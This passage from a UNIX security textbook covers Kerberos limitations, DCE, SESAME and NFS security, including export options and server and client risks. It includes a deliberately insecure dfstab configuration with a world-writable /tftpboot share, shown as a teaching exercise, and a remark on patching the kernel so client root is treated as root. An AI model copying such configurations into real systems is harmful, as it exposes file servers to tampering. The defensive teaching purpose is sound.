But Kerberos isn't entirely transparent. If you are logged into a Kerberos workstation for more than eight hours, something odd happens: network services suddenly stop working properly. The reason for this is that tickets issued by Kerberos expire after eight hours, a technique designed to prevent a "replay" attack. (In such an attack: somebody capturing one of your tickets would then sit down at your workstation after you leave, using the captured ticket to gain access to your files.) Thus, after eight hours, you must run the kinit program, and provide your username and password for a second time, to be issued a new ticket for the Kerberos Ticket Granting Service.

19.6.5 Kerberos Limitations

Although Kerberos is an excellent solution to a difficult problem, it has several shortcomings:

  • Every network service must be individually modified for use with Kerberos. Because of the Kerberos design, every program that uses Kerberos must be modified. The process of performing these modifications is often called "Kerberizing" the application. The amount of work that this entails depends entirely on the application program. Of course, to Kerberize an application, you must have the application's source code.

  • Kerberos doesn't work well in a time-sharing environment. Kerberos is designed for an environment in which there is one user per workstation. Because of the difficulty of sharing data between different processes running on the same UNIX computer, Kerberos keeps tickets in the /tmp directory. If a user is sharing the computer with several other people, it is possible that the user's tickets can be stolen, that is, copied by an attacker. Stolen tickets can then be used to obtain fraudulent service.

  • Kerberos requires a secure Kerberos Server. By design, Kerberos requires that there be a secure central server that maintains the master password database. To ensure security, a site should use the Kerberos Server for absolutely nothing beyond running the Kerberos Server program. The Kerberos Server must be kept under lock and key, in a physically secure area. In some environments, maintaining such a server is an administrative and/or financial burden.

  • Kerberos requires a continuously available Kerberos Server. If the Kerberos Server goes down, the Kerberos network is unusable.

  • Kerberos stores all passwords encrypted with a single key. Adding to the difficulty of running a secure server is the fact that the Kerberos Server stores all passwords encrypted with the server's master key, which happens to be located on the same hard disk as the encrypted passwords. This means that, in the event the Kerberos Server is compromised, all user passwords must be changed.

  • Kerberos does not protect against modifications to system software ( Trojan horses). Kerberos does not have the computer authenticate itself to the user - that is, there is no way for a user sitting at a computer to determine whether the computer has been compromised. This failing is easily exploited by a knowledgeable attacker.[20]

    [20] In fact, Trojan horses were a continuing problem at MIT's Project Athena.

    An intruder, for example, can modify the workstation's system software so every username/password combination typed is recorded automatically or sent electronically to another machine controlled by the attacker. Alternatively, a malicious attacker can simply modify the workstation's software to spuriously delete the user's files after the user has logged in and authenticated himself to the File Server Service. Both of these problems are consequences of the fact that, even in a networked environment, many workstations (including Project Athena's) contain local copies of the programs that they run.

  • Kerberos may result in a cascading loss of trust. Another problem with Kerberos is that if a server password or a user password is broken or otherwise disclosed, it is possible for an eavesdropper to use that password to decrypt other tickets and use this information to spoof servers and users.

Kerberos is a workable system for network security, and it is still widely used. But more importantly, the principles behind Kerberos are increasingly available in network security systems that are available directly from vendors.

Previous: 19.5 Sun's NIS+ | Practical UNIX & Internet Security | Next: 19.7 Other Network Authentication Systems
19.5 Sun's NIS+ | Book Index | 19.7 Other Network Authentication Systems


[Chapter 19] 19.7 Other Network Authentication Systems

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.6 Kerberos Chapter 19
RPC, NIS, NIS+, and Kerberos 		Next: 20. NFS

19.7 Other Network Authentication Systems

Besides Sun's Secure RPC and Kerberos, there are a variety of other systems for providing authentication and encryption services over an unprotected network.

19.7.1 DCE

DCE is the Distributed Computing Environment developed by the Open Software Foundation. DCE is an integrated computing environment that provides many services, including user authentication, remote procedure call, distributed file sharing, and configuration management. DCE's authentication is very similar to Kerberos, and its file sharing is very similar to the Andrew File System.

DCE's security is based on a Security Server. The Security Server maintains an access control list for various operations and decides whether clients have the right to request operations.

DCE clients communicate with DCE servers using DCE Authenticated RPC. To use Authenticated RPC, each DCE principal (user or service) must have a secret key that is known only to itself and the Security Server.

A complete description of DCE can be found at http://www.osf.org/dce

19.7.2 SESAME

SESAME is the Secure European System for Applications in a Multi-vendor Environment. It is a single sign-on authentication system similar to Kerberos.

SESAME incorporates many features of Kerberos 5, but adds heterogeneity, access control features, scalability of public key systems, improved manageability, and an audit system.

The primary difference between SESAME and Kerberos is that SESAME uses public key cryptography (which is not covered by patent in Europe), allowing it to avoid some of the operational difficulties that Kerberos experiences. SESAME is funded in part by the Commission of the European Union's RACE program.

A complete description of SESAME can be found at the following Web address: http://www.esat.kuleuven.ac.be/cosic/sesame3.html

Previous: 19.6 Kerberos | Practical UNIX & Internet Security | Next: 20. NFS
19.6 Kerberos | Book Index | 20. NFS


[Chapter 20] NFS

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 19.7 Other Network Authentication Systems Chapter 20 Next: 20.2 Server-Side NFS Security

20. NFS

Contents:
Understanding NFS
Server-Side NFS Security
Client-Side NFS Security
Improving NFS Security
Some Last Comments

In many environments, we want to share files and programs among many workstations in a local area network. Doing so requires programs that let us share the files, create new files, do file locking, and manage ownership correctly. Over the last dozen years there have been a number of network-capable filesystems developed by commercial firms and research groups. These have included Apollo Domain, the Andrew Filesystem (AFS), the AT&T Remote Filesystem (RFS), and Sun Microsystems' Network Filesystem (NFS). Each of these has had beneficial features and limiting drawbacks.

Of all the network filesystems, NFS is probably the most widely used. NFS is available on almost all versions of UNIX, as well as on Apple Macintosh systems, MS-DOS, Windows, OS/2, and VMS. NFS has continued to mature, and we expect that Version 3 of NFS will help to perpetuate and expand its reach. For this reason, we will focus in this book on the security implications of running NFS on your UNIX systems. If you use one of the other forms of network filesystems, there are associated security considerations, many of which are similar to the ones we present here: be sure to consult your vendor documentation.

20.1 Understanding NFS

Using NFS, clients can mount partitions of a server as if they were physically connected to the client. In addition to simply allowing remote access to files over the network, NFS allows many (relatively) low-cost computer systems to share the same high-capacity disk drive at the same time. NFS server programs have been written for many different operating systems, which let users on UNIX workstations have remote access to files stored on a variety of different platforms. NFS clients have been written for microcomputers such as the IBM/PC and Apple Macintosh, giving PC users much of the same flexibility enjoyed by their UNIX coworkers, as well as a relatively easy method of data interchange.

NFS is nearly transparent. In practice, a workstation user simply logs into the workstation and begins working, accessing it as if the files were locally stored. In many environments, workstations are set up to mount the disks on the server automatically at boot time or when files on the disk are first referenced. NFS also has a network mounting program that can be configured to mount the NFS disk automatically when an attempt is made to access files stored on remote disks.

There are several basic security problems with NFS:

  • NFS is built on top of Sun's RPC (Remote Procedure Call), and in most cases uses RPC for user authentication. Unless a secure form of RPC is used, NFS can be easily spoofed.

  • Even when Secure RPC is used, information sent by NFS over the network is not encrypted, and is thus subject to monitoring and eavesdropping. As we mention elsewhere, the data can be intercepted and replaced (thereby corrupting or Trojaning files being imported via NFS).

  • NFS uses the standard UNIX filesystem for access control, opening the networked filesystem to many of the same problems as a local filesystem.

One of the key design features behind NFS is the concept of server statelessness. Unlike several other systems, there is no "state" kept on a server to indicate that a client is performing a remote file operation. Thus, if the client crashes and is rebooted, there is no state in the server that needs to be recovered. Alternatively, if the server crashes and is rebooted, the client can continue operating on the remote file as if nothing really happened - there is no server-side state to recreate.[1] We'll discuss this concept further in later sections.

[1] Actual implementations are not completely stateless, however, as we will see later in this chapter.

20.1.1 NFS History

NFS was developed inside Sun Microsystems in the early 1980s. Since that time, NFS has undergone three major revisions:

NFS Version 1

NFS Version 1 was Sun's prototype network filesystem. This version was never released to the outside world.

NFS Version 2

NFS Version 2 was first distributed with Sun's SunOS 2 operating system in 1985. Version 2 was widely licensed to numerous UNIX workstation vendors. A freely distributable, compatible version was developed in the late 1980s at the University of California at Berkeley.

During its 10-year life, many subtle, undocumented changes were made to the NFS version 2 specification. Some vendors allowed NFS version 2 to read or write more than 4K bytes at a time; others increased the number of groups provided as part of the RPC authentication from 8 to 16. Although these minor changes created occasional incompatibilities between different NFS implementations, NFS version 2 provided a remarkable degree of compatibility between systems made by different vendors.

NFS Version 3

The NFS Version 3 specification was developed during a series of meetings in Boston in July, 1992.[2] Working code for NFS Version 3 was introduced by some vendors in 1995, and is expected to be widely available in 1996. Version 3 incorporates many performance improvements over Version 2, but does not significantly change the way that NFS works or the security model used by the network filesystem.

[2] Pawlowski, Juszczak, Staubach, Smith, Lebel and Hitz, "NFS Version 3 Design and Implementation," USENIX Summer 1994 conference. The standard was later codified as RFC 1813. A copy of the NFS Version 3 paper can be obtained from http://www.netapp.com/Docs/TechnicalDocs/nfs_version_3.html. The RFC can be downloaded from http://ds.internic.net/rfc/rfc1813.txt.

NFS is based on two similar but distinct protocols: MOUNT and NFS. Both make use of a data object known as a file handle. There is also a distributed protocol for file locking, which is not technically part of NFS, and which does not have any obvious security ramifications (other than those related to potential denial of service attacks for its users), so we won't describe the file locking protocol here.

20.1.2 File Handles

Each object on the NFS-mounted filesystem is referenced by a unique object called a file handle. A file handle is viewed by the client as being opaque - the client cannot interpret the contents. However, to the server, the contents have considerable meaning. The file handles uniquely identify every file and directory on the server computer.

Under UNIX, a file handle consists of at least three important elements: the filesystem identifier, the file identifier, and a generation count. The file identifier can be something as simple as an inode number to refer to a particular item on a partition. The filesystem identifier refers to the partition containing the file (inode numbers are unique per partition, but not per system). The file handle doesn't include a pathname; a pathname is not necessary and is in fact subject to change while a file is being accessed.

The generation count is a number that is incremented each time a file is unlinked and recreated. The generation count ensures that when a client references a file on the server, that file is in fact the same file that the server thinks it is. Without a generation count, two clients accessing the same file on the server could produce erroneous results if one client deleted the file and created a new file with the same inode number. The generation count prevents such situations from occurring: when the file is recreated, the generation number is incremented, and the second client gets an error message when it attempts to access the older, now nonexistent, file.

Which Is Better: Stale Handles or Stale Love?

To better understand the role of the generation count, imagine a situation in which you are writing a steamy love letter to a colleague with whom you are having a clandestine affair. You start by opening a new editor file on your workstation. Unbeknownst to you, your editor puts the file in the /tmp directory, which happens to be on the NFS server. The server allocates an inode from the free list on that partition, constructs a file handle for the new file, and sends the file handle to your workstation (the client). You begin editing the file. "My darling chickadee, I remember last Thursday in your office," you start to write, only to be interrupted by a long phone call.

You aren't aware of it, but as you are talking on the phone, there is a power flicker in the main computer room, and the server crashes and reboots. As part of the reboot, the temporary file for your mailer is deleted along with everything else in the /tmp directory, and its inode is added back to the free list on the server. While you are still talking on the phone, your manager starts to compose a letter to the president of the company, recommending a raise and promotion for you. He also opens a file in the /tmp directory, and his diskless workstation is allocated a file handle for the same inode that you were using (it is free now, after all)!

You finally finish your call and return to your letter. Of course, you notice nothing out of the ordinary because of the stateless nature of NFS. You put the finishing touches on your letter, "... and I can't wait until this weekend; my wife suspects nothing!" and save it. Your manager finishes his letter at the same moment: "... as a reward for his hard work and serious attitude, I recommend a 50% raise." Your manager and you hit the "send" key simultaneously.

Without a generation count, the results might be less than amusing. The object of your affection could get a letter about you deserving a raise. Or, your manager's boss could get a letter concerning a midday dalliance on the desktop. Or, both recipients might get a mixture of the two versions, with each version containing one file record from one file and one from another. The problem is that the system can't distinguish the two files because the file handles are the same.

This sort of thing occasionally happened before Sun got the generation-count code working properly and consistently. With the generation-count software working as it should, you would instead get an error message stating "Stale NFS File Handle" when you try to access the (now deleted) file. That's because the server increments the generation count value in the inode when the inode is returned to the free list. Later, whenever the server receives a request from a client that has a valid file handle except for the generation count, the server rejects the operation and returns an error.

NOTE: Some NFS servers ignore the generation count in the file handle. These versions of NFS are considerably less secure, as they enable an attacker to easily create valid file handles for directories on the server.

20.1.3 MOUNT Protocol

The MOUNT protocol is used for the initial negotiation between the NFS client and the NFS server. Using MOUNT, a client can determine which filesystems are available for mounting and can obtain a token (the file handle) which is used to access the root directory of a particular filesystem. After that file handle is returned, it can thereafter be used to retrieve file handles for other directories and files on the server.

Another benefit of the MOUNT protocol is that you can export only a portion of a local partition to a remote client. By specifying that the root is a directory on the partition, the MOUNT service will return its file handle to the client. To the client, this file handle behaves exactly as one for the root of a partition: reads, writes, and directory lookups all behave the same way.

MOUNT is an RPC service. The service is provided by the mountd or rpc.mountd daemon, which is started automatically at boot. (On Solaris 2.x systems, for example, mountd is located in /usr/lib/nfs/mountd, and is started by the startup script /etc/rc3.d/S15nfs.server.) MOUNT is often given the RPC program number 100,005. The standard mountd can respond to seven different requests:

NULL | Does nothing.
MNT | Returns a file handle for a filesystem. Advises the mount daemon that a client has mounted the filesystem.
DUMP | Returns the list of mounted filesystems.
UMNT | Removes the mount entry for this client for a particular filesystem.
UMNTALL | Removes all mount entries for this client.
EXPORT | Returns the server's export list to the client.

Although the MOUNT protocol provides useful information within an organization, the information that it provides could be used by those outside an organization to launch an attack. For this reason, you should prevent people outside your organization from accessing your computer's mount daemon. Two ways of providing this protection are via the portmapper wrapper, and via an organizational firewall. See Chapter 22, Wrappers and Proxies, and Chapter 21, Firewalls, for further information.

The MOUNT protocol is based on Sun Microsystem's Remote Procedure Call (RPC) and External Data Representation (XDR) protocols. For a complete description of the MOUNT protocol see RFC 1094.

20.1.4 NFS Protocol

The NFS protocol takes over where the MOUNT protocol leaves off. With the NFS protocol, a client can list the contents of an exported filesystem's directories; obtain file handles for other directories and files; and even create, read, or modify files (as permitted by UNIX permissions.)

Here is a list of the RPC functions that perform operations on directories:

CREATE | Creates (or truncates) a file in the directory
LINK | Creates a hard link
LOOKUP | Looks up a file in the directory
MKDIR | Makes a directory
READADDR | Reads the contents of a directory
REMOVE | Removes a file in the directory
RENAME | Renames a file in the directory
RMDIR | Removes a directory
SYMLINK | Creates a symbolic link

These RPC functions can be used with files:

GETATTR | Gets a file's attributes (owner, length, etc.)
SETATTR | Sets some of a file's attributes
READLINK | Reads a symbolic link's path
READ | Reads from a file.
WRITE | Writes to a file.

NFS version 3 adds a number of additional RPC functions. With the exception of MKNOD3, these new functions simply allow improved performance:

ACCESS | Determines if a user has the permission to access a particular file or directory.
FSINFO | Returns static information about a filesystem.
FSSTAT | Returns dynamic information about a filesystem.
MKNOD | Creates a device or special file on the remote filesystem.
READDIRPLUS | Reads a directory and returns the file attributes for each entry in the directory.
PATHCONF | Returns the attributes of a file specified by pathname.
COMMIT | Commits the NFS write cache to disk.

All communication between the NFS client and the NFS server is based upon Sun's RPC system, which lets programs running on one computer call subroutines that are executed on another. RPC uses Sun's XDR system to allow the exchange of information between different kinds of computers. For speed and simplicity, Sun built NFS upon the Internet User Datagram Protocol (UDP); however, NFS version 3 allows the use of TCP, which actually improves performance over low-bandwidth, high-latency links such as modem-based PPP connections.

20.1.4.1 How NFS creates a reliable filesystem from a best-effort protocol

UDP is fast but only best-effort: "Best effort" means that the protocol does not guarantee that UDP packets transmitted will ever be delivered, or that they will be delivered in order. NFS works around this problem by requiring the NFS server to acknowledge every RPC command with a result code that indicates whether the command was successfully completed or not. If the NFS client does not get an acknowledgment within a certain amount of time, it retransmits the original command.

If the NFS client does not receive an acknowledgment, then UDP lost either the original RPC command or the RPC acknowledgment. If the original RPC command was lost, there is no problem - the server sees it for the first time when it is retransmitted. But if the acknowledgment was lost, the server will actually get the same NFS command twice.

For most NFS commands, this duplication of requests presents no problem. With READ, for example, the same block of data can be read once or a dozen times, without consequence. Even with the WRITE command, the same block of data can be written twice to the same point in the file, without consequence.[3]

[3] This is precisely the reason that NFS does not have an atomic command for appending information to the end of a file.

Other commands, however, cannot be executed twice in a row. MKDIR, for example, will fail the second time that it is executed because the requested directory will already exist. For commands that cannot be repeated, some NFS servers maintain a cache of the last few commands that were executed. When the server receives a MKDIR request, it first checks the cache to see if it has already received the MKDIR request. If so, the server merely retransmits the acknowledgment (which must have been lost).

20.1.4.2 Hard, soft, and spongy mounts

If the NFS client still receives no acknowledgment, it will retransmit the request again and again, each time doubling the time that it waits between retries. If the network filesystem was mounted with the soft option, the request will eventually time out. If the network filesystem is mounted with the hard option, the client continues sending the request until the client is rebooted or gets an acknowledgment. BSDI and OSF/1 also have a spongy option that is similar to hard, except that the stat, lookup, fsstat, readlink, and readdir operations behave like a soft MOUNT.

Figure 20.1: NFS protocol stack

NFS uses the mount command to specify if a filesystem is mounted with the hard or soft option. To mount a filesystem soft, specify the soft option. For example:

/etc/mount -o soft zeus:/big /zbig

This command mounts the directory /big stored on the server called zeus locally in the directory /zbig. The option -o soft tells the mount program that you wish the filesystem mounted soft.

To mount a filesystem hard, do not specify the soft option:

/etc/mount zeus:/big /zbig

Deciding whether to mount a filesystem hard or soft can be difficult, because there are advantages and disadvantages to each option. Diskless workstations often hard-mount the directories that they use to keep system programs; if a server crashes, the workstations wait until the server is rebooted, then continue file access with no problem. Filesystems containing home directories are usually hard mounted, so that all disk writes to those filesystems will be correctly performed.

On the other hand, if you mount many filesystems with the hard option, you will discover that your workstation may stop working every time any server crashes until it reboots. If there are many libraries and archives that you keep mounted on your system, but which are not critical, you may wish to mount them soft. You may also wish to specify the intr option, which is like the hard option except that the user can interrupt it by typing the kill character (usually control-C).

As a general rule of thumb, read-only filesystems can be mounted soft without any chance of accidental loss of data. But you will have problems if you try to run programs off partitions that are soft-mounted, because when you get errors, the program that you are running will crash.

An alternative to using soft mounts is to mount everything hard (or spongy, when available), but to avoid mounting your nonessential NFS partitions directly in the root directory. This practice will prevent the UNIX getpwd() function from hanging when a server is down.[4]

[4] Hal Stern, in Managing NFS and NIS, says that any filesystem that is read-write or on which you are mounting executables should be mounted hard to avoid corruption. His analogy with a dodgy NFS server is that hard mount behaves like a slow drive, while soft mount behaves like a broken drive!

20.1.4.3 Connectionless and stateless

As we've mentioned, NFS servers are stateless by design. Stateless means that all of the information that the client needs to mount a remote filesystem is kept on the client, instead of having additional information with the mount stored on the server. After a file handle is issued for a file, that file handle will remain good even if the server is shut down and rebooted, as long as the file continues to exist and as long as no major changes are made to the configuration of the server that would change the values (e.g., a file system rebuild or restore from tape).

Early NFS servers were also connectionless. Connectionless means that the server program does not keep track of every client that has remotely mounted the filesystem.[5] When offering NFS over a TCP connection, however, NFS is not connectionless: there is one TCP connection for each mounted filesystem.

[5] An NFS server computer does keep track of clients that mount their filesystems remotely. The /usr/etc/rpc.mountd program maintains this database; however, a computer that is not in this database can still access the server's filesystem even if it is not registered in the rpc.mountd database.

The advantage of a stateless, connectionless system is that such systems are easier to write and debug. The programmer does not need to write any code for reestablishing connections after the network server crashes and restarts, because there is no connection that must be reestablished. If a client should crash (or if the network should become disconnected), valuable resources are not tied up on the server maintaining a connection and state for that client.

A second advantage of this approach is that it scales. That is, a connectionless, stateless NFS server works equally well if ten clients are using a filesystem or if ten thousand are using it. Although system performance suffers under extremely heavy use, every file request made by a client using NFS will eventually be satisfied, and there is absolutely no performance penalty if a client mounts a filesystem but never uses it.

20.1.4.4 NFS and root

Because the superuser can do so much damage on the typical UNIX system, NFS takes special precautions in the way that it handles the superuser running on client computers.

Instead of giving the client superuser unlimited privileges on the NFS server, NFS gives the superuser on the clients virtually no privileges: the superuser gets mapped to the UID of the nobody user - usually a UID of 32767 or 60001 (although occasionally -1 or -2 on pre-POSIX systems).[6] Some versions of NFS allow you to specify the UID to which to map root's accesses, with the UID of the nobody user as the default.

[6] The UNIX kernel maps accesses from client superusers to the kernel variable nobody, which is set to different values on different systems. Historically, the value of nobody was -1, although Solaris defines nobody to be 60001. You can change this value to 0 through the use of adb, making all superuser requests automatically be treated as superuser on the NFS server. In the immortal words of Ian D. Horswill, "The Sun kernel has a user-patchable cosmology. It contains a polytheism bit called `nobody.'...The default corresponds to a basically Greek pantheon in which there are many Gods and they're all trying to screw each other (both literally and figuratively in the Greek case). However, by using adb to set the kernel variable nobody to 0 in the divine boot image, you can move to a Ba'hai cosmology in which all Gods are really manifestations of the One Root God, Zero, thus inventing monotheism." (The UNIX-Haters Handbook, Garfinkel et al. IDG Books, 1994. p. 291)

Thus, superusers on NFS client machines actually have fewer privileges (with respect to the NFS server) than ordinary users. However, this lack of privilege isn't usually much of a problem for would-be attackers who have root access, because the superuser can simply su to a different UID such as bin or sys. On the other hand, treating the superuser in this way can protect other files on the NFS server.

NFS does no remapping of any other UID, nor does it do any remapping of any GID values. Thus, if a server exports any file or directory with access permissions for some user or group, the superuser on a client machine can take on an identity to access that information. This rule implies that the exported file can be read or copied by someone remote, or worse, modified without authorization.

20.1.5 NFS Version 3

During the ten years of the life of NFS Version 2, a number of problems were discovered with it. These problems included:

  • NFS was originally based on AUTH_UNIX RPC security. As such, it provided almost no protection against spoofing. AUTH_UNIX simply used the stated UID and GID of the client user to determine access.

  • The packets transmitted by NFS were not encrypted, and were thus open to eavesdropping, alteration, or forging on a network.

  • NFS had no provisions for files larger than 4GB. This was not a problem in 1985, but many UNIX users now have bigger disks and bigger files.

  • NFS suffered serious performance problems on high-speed networks because of the maximum 8K data-size limitation on READ and WRITE procedures, and because of the need to separately request the file attributes on each file when a directory was read.

NFS 3 is the first major revision to NFS since the protocol was commercially released. As such, NFS 3 was designed to correct many of the problems that had been experienced with NFS. But NFS 3 is not a total rewrite. According to Pawlowski et al., there were three guiding principles in designing NFS 3:

  1. Keep it simple.

  2. Get it done in a year.

  3. Avoid anything controversial.

Thus, while NFS 3 allows for improved performance and access to files larger than 4GB, it does not make any fundamental changes to the overall NFS architecture.

As a result of the design criteria, there are relatively few changes between the NFS 2 and 3 protocols:

  • File-handle size has been increased from a fixed-length 32-byte block of data to a variable-length array with a maximum length of 64 bytes.

  • The maximum size of data that can be transferred using READ and WRITE procedures is now determined dynamically by the values returned by the FSINFO function. The maximum lengths for filenames and pathnames are now similarly specified.

  • File lengths and offsets have been extended from four bytes to eight bytes.[7]

    [7] Future versions of NFS - or any other filesystem - will not likely need to use more than eight bytes to represent the size of a file: eight bytes can represent more than 1.7 x 1013MB of storage.

  • RPC errors can now return data (such as file attributes) in addition to return codes.

  • Additional file types are now supported for character- and block-device files, sockets, and FIFOS.

  • An ACCESS procedure has been added to allow an NFS client to explicitly check to see if a particular user can or cannot access a file.

Because RPC allows a server to respond to more than one version of a protocol at the same time, NFS 3 servers will be able to support the NFS 2 and 3 protocols simultaneously, so that they can serve older NFS 2 clients while allowing easy upgradability to NFS 3. Likewise, most NFS 3 clients will continue to support the NFS 2 protocol as well, so that they can speak with old servers and new ones.

This need for backward compatibility effectively prevented the NFS 3 designers from adding new security features to the protocols. If NFS 3 had more security features, an attacker could avoid them by resorting to NFS 2. On the other hand, by changing a site from unsecure RPC to secure RPC, a site can achieve secure NFS for all of its NFS clients and servers, whether they are running NFS 2 or NFS 3.

NOTE: If and when your system supports NFS over TCP links, you should configure it to use TCP and not UDP unless there are significant performance reasons for not doing so. TCP-based service is more immune to denial of service problems, spoofed requests, and several other potential problems inherent in the current use of UDP packets.

Previous: 19.7 Other Network Authentication Systems | Practical UNIX & Internet Security | Next: 20.2 Server-Side NFS Security
19.7 Other Network Authentication Systems | Book Index | 20.2 Server-Side NFS Security


[Chapter 20] 20.2 Server-Side NFS Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 20.1 Understanding NFS Chapter 20
NFS 		Next: 20.3 Client-Side NFS Security

20.2 Server-Side NFS Security

Because NFS allows users on a network to access files stored on the server, NFS has significant security implications for the server. These implications fall into three broad categories:

Client access

NFS can (and should) be configured so that only certain clients on the network can mount filesystems stored on the server.

User authentication

NFS can (and should) be configured so that users can only access and alter files to which they have been granted access.

Eavesdropping and data spoofing

NFS should (but does not) protect information on the network from eavesdropping and surreptitious modification.

20.2.1 Limiting Client Access: /etc/exports and /etc/dfs/dfstab

The NFS server can be configured so that only certain hosts are allowed to mount filesystems on the server. This is a very important step in maintaining server security: if an unauthorized host is denied the ability to mount a filesystem, then the unauthorized users on that host will not be able to access the server's files.

20.2.1.1 /etc/exports

Many versions of UNIX, including Sun's SunOS, HP's HP-UX, and SGI's IRIX operating systems use the /etc/exports file to designate which clients can mount the server's filesystem and what access those clients are to be given. Each line in the /etc/exports file generally has the form:

directory -options [,more options]

For example, a sample /etc/exports file might look like this:

/ -access=math,root=prose.domain.edu
/usr -ro
/usr/spool/mail -access=math

The directory may be any directory or filesystem on your server. In the example, exported directories are /, /usr, and /usr/spool/mail.

The options allow you to specify a variety of security-related options for each directory. These include:

access=machinelist

Grants access to this filesystem only to the hosts or netgroups[8] specified in machinelist. The names of hosts and netgroups are listed and separated by colons (e.g., host1:host2:group3). A maximum of ten hosts or group names can be listed in some older systems (check your documentation).[9]

[8] See the discussion of RPC and netgroups in Chapter 19.

[9] There was an old bug in NFS that caused a filesystem to be exported to the world if an exports line exceeded 256 characters after name alias expansion. Use showmount -e to verify when finished.

ro

Exports the directory and its contents as read-only to all clients. This options overrides whatever the file permission bits are actually set to.

rw=machinelist

Exports the filesystem read-only to all hosts except those listed, which are allowed read/write access to the filesystem.

root=machinelist

Normally, NFS changes the user ID for requests issued by the superuser on remote machines from 0 (root) to -2 (nobody.) Specifying a list of hosts gives the superuser on these remote machines superuser access on the server.

anon=uid

Specifies what user ID to use on NFS requests that are not accompanied by a user ID, such as might happen from a DOS client. The number specified is used for both the UID and the GID of anonymous requests. A value of -2 is the nobody user. A value of -1 usually disallows access.

secure

Specifies that NFS should use Sun's Secure RPC (AUTH_DES) authentication system, instead of AUTH_UNIX. (See Chapter 19, RPC, NIS, NIS+, and Kerberos) for more information.

You should understand that NFS maintains options on a per-filesystem basis, not per-directory, basis. If you put two directories in the /etc/exports file that actually reside on the same filesystem, they will use the same options (usually the options used in the last export listed).

Sun's documentation of anon states that, "If a request comes from an unknown user, use the given UID as the effective user ID." This statement is very misleading; in fact, NFS by default honors "unknown" user IDs - that is, UIDS that are not in the server's /etc/passwd file - in the same way that it honors "known" UIDS, because the NFS server does not ever read the contents of the /etc/passwd file. The anon option actually specifies which UID to use for NFS requests that are not accompanied by authentication credentials.

Let's look at the example /etc/exports file again:

/ -access=math,root=prose.domain.edu
/usr -ro
/usr/spool/mail -access=math

This example allows anybody in the group math or on the machine math to mount the root directory of the server, but only the root user on machine prose.domain.edu has superuser access to these files. The /usr filesystem is exported read-only to every machine that can get RPC packets to and from this server (usually a bad idea - this may be a wider audience than the local network). And the /usr/spool/mail directory is exported to any host in the math netgroup.

20.2.1.2 /usr/etc/exportfs

The /usr/etc/exportfs program reads the /etc/exports file and configures the NFS server, which runs inside the kernel's address space. After you make a change to /etc/exports, be sure to type this on the server:

# exportfs -a

You can also use the exportfs command to temporarily change the options on a filesystem. Because different versions of the command have slightly different syntax, you should consult your documentation.

20.2.1.3 Exporting NFS directories under System V: share and dfstab

Versions of NFS that are present on System V systems (including Solaris 2.x) have dispensed with the /etc/exports file and have instead adopted a more general mechanism for dealing with many kinds of distributed filesystems in a uniform manner. These systems use a command called share to extend access for a filesystem to a remote machine, and the command unshare to revoke access.

The share command has the syntax:

share [ -F FSType ] [ -o specific_options ] [ -d description ] [ pathname]

where FSType should be nfs for NFS filesystems, and specific_options are the same as those documented with the /etc/exportfs file earlier. The optional argument description is meant to be a human-readable description of the filesystem that is being shared.

When a system using this mechanism boots, its network initialization scripts execute the shell script /etc/dfs/dfstab. This file contains a list of share commands. For example:

Example 20.1: An /etc/dfs/dfstab file With Some Problems

#       place share(1M) commands here for automatic execution
#       on entering init state 3.
#
#       This configuration is not secure.
#
share -F nfs -o rw=red:blue:green /cpg
share -F nfs -o rw=clients -d "spool" /var/spool
share -F nfs /tftpboot
share -F nfs -o ro /usr/lib/X11/ncd
share -F nfs -o ro /usr/openwin

This file gives the computers red, blue, and green access to the /cpg filesystem; it also gives all of the computers in the clients netgroup access to /var/spool. All computers on the network are given read-write access to the /tftpboot directory; and all computers on the network are given read-only access to the directories /usr/lib/X11/ncd and /usr/openwin.

Do you see the security hole in the above configuration? It's explained in detail in Section 20.4, "Improving NFS Security" later in this chapter.

NOTE: Do not export your filesystems back to your own machine if your RPC portmapper has proxy forwarding enabled (the default in many vendor versions). You should not export your partitions to the local host, either by name or to the alias localhost, and you should not export to any netgroups of which your host is a member. If proxy forwarding is enabled, an attacker can carefully craft NFS packets and send them to the portmapper, which in turn forwards them to the NFS server. As the packets come from the portmapper process (which is running as root), they appear to be coming from a trusted system. This configuration can allow anyone to alter and delete files at will.

20.2.2 The showmount Command

You can use the UNIX command /usr/etc/showmount to list all of the clients that have probably mounted directories from your server. This command has the form:

/usr/etc/showmount [options] [host]

The options are:

-a

Lists all of the hosts and which directories they have mounted.

-d

Lists only the directories that have been remotely mounted.

-e

Lists all of the filesystems that are exported; this option is described in more detail later in this chapter.

NOTE: The showmount command does not tell you which hosts are actually using your exported filesystems; it shows you only the names of the hosts that have mounted your filesystems since the last reset of the local log file. Because of the design of NFS, you can use a filesystem without first mounting it.

NFS Exports Under Linux

The Linux NFS server offers a sophisticated set of options that can be placed in the /etc/exports file. While these options seem to increase security, they actually don't.

The options are:

secure

This option requires that incoming NFS requests come from an IP port less than 1024, one of the "secure" ports. This requirement prevents an attacker from sending requests directly to your NFS server unless the attacker has obtained superuser access. (Of course, if the attacker has obtained root access, this option does not help.) This option is equivalent to NFS port monitoring under other versions of UNIX (e.g., nfs_portmon under SunOS).

root_squash

Forces requests from UID 0 to be mapped to the anonymous UID. Unfortunately, this option does not protect other UIDS.

no_root_squash

Turns off root squashing. Even less secure.

squash_uids=0-10,20,25-30

Allows you to specify other UIDS that are mapped to the anonymous UID. Of course, an attacker can still gain access to your system by using non-squashed UIDs.

all_squash

Specifies that all UIDS should be mapped to the anonymous UID. This option does genuinely increase your system's security, but why not simply export your filesystem read-only?

Previous: 20.1 Understanding NFS | Practical UNIX & Internet Security | Next: 20.3 Client-Side NFS Security
20.1 Understanding NFS | Book Index | 20.3 Client-Side NFS Security


[Chapter 20] 20.3 Client-Side NFS Security

Practical UNIX & Internet Security

Practical UNIX & Internet SecuritySearch this book
Previous: 20.2 Server-Side NFS Security Chapter 20
NFS 		Next: 20.4 Improving NFS Security

20.3 Client-Side NFS Security

NFS can create security issues for NFS clients as well as servers. Because the files that a client mounts appear in the client's filesystem, an attacker who is able to modify mounted files can directly compromise the client's security.

The primary system that NFS uses for authenticating servers is based on IP host addresses and hostnames. NFS packets are not encrypted or digitally signed in any way. Thus, an attacker can spoof an NFS client either by posing as an NFS server or by changing the data that is en route between a server and the client. In this way, an attacker can force a client machine to run any NFS-mounted executable. In practice, this ability can give the attacker complete control over an NFS client machine.

